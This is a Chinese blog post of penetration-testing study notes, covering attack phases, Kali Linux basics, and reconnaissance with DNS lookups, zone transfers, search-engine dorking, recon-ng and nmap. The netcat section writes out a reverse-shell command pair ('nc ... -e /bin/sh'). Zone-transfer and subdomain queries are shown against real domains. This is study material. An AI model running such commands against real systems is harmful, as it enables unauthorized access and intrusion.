Home 安全笔记概论
Post
Cancel

安全笔记概论

1 概论

  • 攻击流程
    • 预攻击:收集信息,进行决策
    • 攻击:进行攻击,获得权限,进行渗透
    • 后攻击:长期控守,维持权限,消除痕迹
  • APT攻击(高级持续性攻击)
    • 定向信息收集:针对性收集,包括网络隐蔽扫描和社工方法
    • 外网攻击突破:恶意代码攻击个人终端或者单位服务器
    • 构建控制通道:采用HTTP、HTTPS、DNS等协议,绕过安全防护设备
    • 内部横向渗透:以终端主机和DMZ区,在系统内部多层渗透,攻击更多服务器获得更多权限。
    • 数据收集上传
    • 攻击痕迹清理
  • 知识框架
    • 信息收集
    • 突防攻击
    • 隐蔽控守

2. Kali Linux基础

2.1 linux分支
1
2
3
4
5
6
7
8
9
10
11
* RedHat
	* CentOS
	*  RedHat
* Debian
	* Ubuntu 
	* Linxu
* Slackware
* 查看内核版本号
	* uname -a
	* cat /proc/version cat /etc/issue
	* cat /etc/os-release 
2.2 Kali基础介绍
  • Linux文件目录结构
    • etc 配置目录
    • bin 用户自带的可执行文件 or /usr/bin
    • boot 引导
    • media 虚拟机共享目录
    • mnt U盘加载目录
    • proc 查看进程信息
    • sbin 系统自带的可执行文件(system)
    • tmp 临时目录(重启全部清空,所有用户都能读写)
    • usr 用户安装软件 工具在/usr/share路径下
  • Kali基本操作
    • ifconfig
      • lo:本地回环127.0.0.1
    • ln创建链接
      • 硬链接:文件的两个副本
      • 符号链接:快捷方式 ln -s 源文件 链接文件
    • more:按页显示文件
    • less:按页显示文件,可以翻页
    • head -n file:显示文件前n行
    • tail -n file:显示文件后n行
    • umask 设置文件权限屏蔽位,取反即是新建文件默认权限
    • chown user file 修改文件所有者
    • chgrp 修改文件所有组
    • 对应后缀的文件加密

      命令 文件后缀
      gzip,gunzip .gz
      zip,unzip .zip
      tar .tar
      compress,bzip2 .bz2
    • 磁盘管理命令
      • du 显示文件和目录空间占用情况
      • df 显示磁盘文件系统的相关信息
      • mount/umount 安装/卸载文件系统
    • 用户管理
      • id 显示当前用户信息
      • adduser 增加用户
      • passwd 更改用户密码
      • userdel 删除用户
      • traceroute 测试和远程主机的路由情况
      • ps 显示进程及状态
      • kill [进程id]杀死进程
  • netstat -t //只看tcp连接
    • netstat -nt //不将IP地址反向解析为主机名或域名
    • netstat -ant //本机监听连接(all)
    • netstat -antp //process与进程关联起来
    • windows: netstat -an -p tcp
    • ps -aux | grep 2120 //打印所有进程,匹配2120进程
    • postgresql 5432端口
  • 网卡配置(配置静态IP地址):
    • 修改网卡配置/etc/network/interfaces
      • auto eth0
      • iface eth0 inet static
      • address 192.168.80.30
      • netmask
      • geteway
    • 修改域名服务器地址 /etc/resolv.conf
    • 重启网络: /etc/init.d/networking restart or reboot
  • Kali 服务管理
    • Web服务器根目录 /var/www/html/
    • apache2/postgresql
    • 配置服务自启动:update-rc.d postgresql enable
  • 替换更新源为国内源/etc/apt/sources.list

    1
    2
    3
    4
    5
    6
    
      中科大kali源
      deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
      deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
      阿里云kali源
      deb http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
      deb-src http://mirrors.aliyun.com/kali kali-rolling main non-free contrib    * advanced package tool(apt)   * apt-get update/upgrade 	//下载更新列表/更新对应软件   * apt-get dist-upgrade		//下载对应依赖包   * apt-get clean				//清除冗余文件
    
  • Vmware Tools(滚动更新版)
    • apt -y install open-vm-tools-desktop fuse
    • reboot
  • 安装VPN
    • 安装openvpn
2.3 Kali 进阶使用
  • 环境变量
    • env
      • env | grep -i path //-i忽略大小写
      • echo $PATH
  • 搜索
    • whereis/which ifconfig //在$PATH和$MANPATH能找到ifconfig/在$PATH
    • locate 在updatedb数据库中匹配字符串
    • find /(指定目录) -type f(文件)、d(目录) -name(指定名称)
  • netcat 瑞士军刀
    • nc -nlp -vv 监听端口
      • nc -p 443 指定端口号监听443端口
      • nc -l 监听(服务端)
      • nc -n 不解析域名
      • nc -vv 详细信息
      • 实现服务器端获得客户端的shell
        • nc -lnp <(服务器端)ip> //服务器监听开启
        • nc <(服务器)ip> -e(执行程序) /bin/sh //客户端把shell传递给服务器,就可以在服务器上输入指令控制客户端
        • /bin/sh linux类似于Windows的cmd接口程序
  • kali服务器客户端
    • python轻量级web服务器
      • python -m SimpleHTTPServer 80
    • wget -O /tmp/1.exe //-O实现在指定目录下保存
  • 软件工具的安装
    • apt
      • apt-cache search/show packagename 搜索包
      • apt-get install packagename –reinstall 安装/重新安装
      • apt-get remove packagename 删除包
      • apt-get autoclean 清理无用包
      • apt-get check 检查是否有损害
    • dpkg
      • dbkg -i package-deb
    • git
    • 下载源代码压缩包
      • wget (tgz)
      • tar -xzvf archive.tar.gz
      • ./configure
      • make
      • make install

3. 信息收集

3.1 网络信息收集
  • 网络信息收集
    • whois数据库:查询Internet注册信息的标准协议、域名提供商、域名服务器
      • whois
    • 域名查询:查询DNS服务器
      • nslookup
        • baidu.com
        • set type=ns/A/mx
        • server ns1.cnhubei.com
        • ls cnhubei.com
      • host -t mx baidu.com
        • host -l sda.gov.cn ns.sda.gov.cn //发请求到域名服务器要求列出子域名
      • dig命令
        • dig ns sda.gov.cn
        • dig axfr
      • dnsenum –enum sda.gov.cn
      • fierce:域名猜测
        • fierce -dns 163.com -wordlist dns-names.txt -threads 50 //同时起50个线程根据提供的字典猜测子域名
        • 自带字典位置:/usr/share/fierce/hosts.txt
        • cat 163.com.dns.txt | awk -F'/t' '{printf"%s\t%s\n",$2,$1}' | sort //按照需求分割
        • awk文本处理工具 -F分割域
        • windows使用layer子域名查询机
      • DNS域传送泄露(域名遍历)漏洞:DNS服务器不加确认就向对方提供域名数据库备份
    • 基于搜索引擎的信息探测
      • google/baidu
        • site:sjtu.edu.cn根据域名搜索
        • filetype:php 搜索PHP界面
        • inurl:login url中包括哪些关键词
        • intitile: //在网页标题中包含的
        • intext: //在内容中包含的
        • link
      • Google Hacking Database 黑客搜索语句的数据库
        • 基于GHDB的SiteDigger
      • theharvester -d hrw.org -b all //搜索邮件
      • maltego互联网情报收集平台,社工工具
        • maltegoce
        • 输入目标域名:Infrastructure ->拖拽domain节点
      • recon-ng
        • use recon/domains-hosts/bing_domain_web
        • set source sjtu.edu.cn
        • 数据库位置 /.recon-ng/workspaces/default
        • 用火狐打开firefox resutl.html
  • 主机信息收集
    • 主机端口及服务
      • Netbios文件共享服务 端口号135-139,445(windows专有)
    • 端口扫描
      • 常规扫描,三次握手。调用socket库中connect函数
        • Nmap扫描器
          • TCP SYN扫描
            • 扫描结果分为三种
              • open 开放的端口
              • reset 不提供服务的端口
              • close 防火墙过滤
          • TCP FIN扫描(误报很多)
            • 没有回应 开放端口
            • RST重置 不提供服务的端口
          • 使用libpcap
          • -Pn 认定所有主机在线,跳过主机发现
          • nmap -sP
          • nmap -sT 172.16.1.1-254 -p 139,445 -Pn –open //-Pn不ping对方
          • nmap 脚本位置: /usr/share/nmap/scripts
          • nmap脚本类型 看一遍
            • auth: 负责处理认证证书(绕开认证)的脚本;
            • broadcast: 在局域网内探查更多服务开启状况,如dhcp/dns/sqlserver等服务;
            • brute: 提供暴力破解方式,针对常见的应用如http/snmp等;
            • default: 使用-sC或-A选项扫描时候默认的脚本,提供基本脚本扫描能力;
            • discovery: 对网络进行更多的信息,如SMB枚举、SNMP查询等;
            • dos: 用于进行拒绝服务攻击;
            • exploit: 利用已知的漏洞攻击系统;
            • external: 利用第三方的数据库或资源,例如进行whois解析;
            • fuzzer: 模糊测试,发送异常的包到目标机,探测潜在漏洞;
            • intrusive: 带有入侵性,可能引发对方的IDS/IPS的记录或屏蔽;
            • malware: 探测目标机是否感染了病毒、开启了后门等信息;
            • safe: 与intrusive相反,属于安全性脚本;
            • version: 增强服务与版本扫描(Version Detection)功能;
            • vuln: 检查目标机是否有常见的漏洞(Vulnerability),如MS08_067、MS17_010等。
            • smb-vuln-ms17-010.nse //永恒之蓝漏洞检测脚本
          • nmap常规用法
            • nmap -sT(常规三次握手协议) -sS(SYN扫描) -Pn(扫描时不去ping对方)
            • nmap –script=default -Pn
            • nmap –script=smb-vuln* -Pn
            • nmap -A -Pn 192.168.80.201 //综合性扫描-A
            • nmap -sS -Pn -p 21-23,25,80,110,135- 139,143,443,445,1433,1521,3306,3389,5556,5631,5900,8080 192.168.80.1-254 –open //扫描特定端口
          • nmap图形化前端Zenmap
        • nc 172.16.1.201 80
          • HEAD只回应头部数据,扫描时使用,可以得到旗标信息banner

            1
            2
            3
            4
            5
            6
            
              方法1:
              HEAD / HTTP/1.1
              HOST:172.16.1.201
              方法2:
              GET /HTTP/1.1
              HOST:172.16.1.201
            
          • nginx 顺序上服务器信息在前,日期在后
          • apache 与nginx相反,日期信息在前,服务器信息在后
    • 主机操作系统的探测 * nmap-os-db操作系统指纹数据库不断更新 * nmap -sS 172.16.1.201 -Pn -p 139,445,80 -O //-O操作系统· * -sT(发送ACK包) -sS(发送SYN包) -sV(根据开放端口获取系统信息) -Pn -p -O(搜索操作系统)

    • 漏洞扫描
      • CVE(Common Vulnerability Exposures)通用漏洞披露库: 设置漏洞编号
      • NVD(National Vulnerability Database): 多个CVE安全漏洞详细信息
      • Nessus: 综合性漏洞探测 (注册一波)
        • 扫描策略
        • 扫描目标
        • 扫描结果
      • OpenVas kali自带,不好用
    • Web漏洞探测
      • w3af: Web Application Attack Framework
      • nikto
  • 局域网信息搜索
    • 主机发现
      • ICMP协议研究一波(存在ICMP广播风暴,使用已经过时)
        • 8字节,1个自己type,1个字节code
        • echo request 8 0
        • echo reply 0 0
      • ARP,Address Resolution Protocol(链路层):寻找哪个IP地址对应的Mac地址为目的地址,对应发送数据包
        • ARP协议解析过程研究一波
        • IPv4(网络层)
        • 数据包寻址通过Mac地址
        • ARP命令
          • -a
    • NetDiscover找局域网中存货主机
This post is licensed under CC BY 4.0 by the author.

阿里云ubuntu配置FTP服务器

MongoDB自学笔记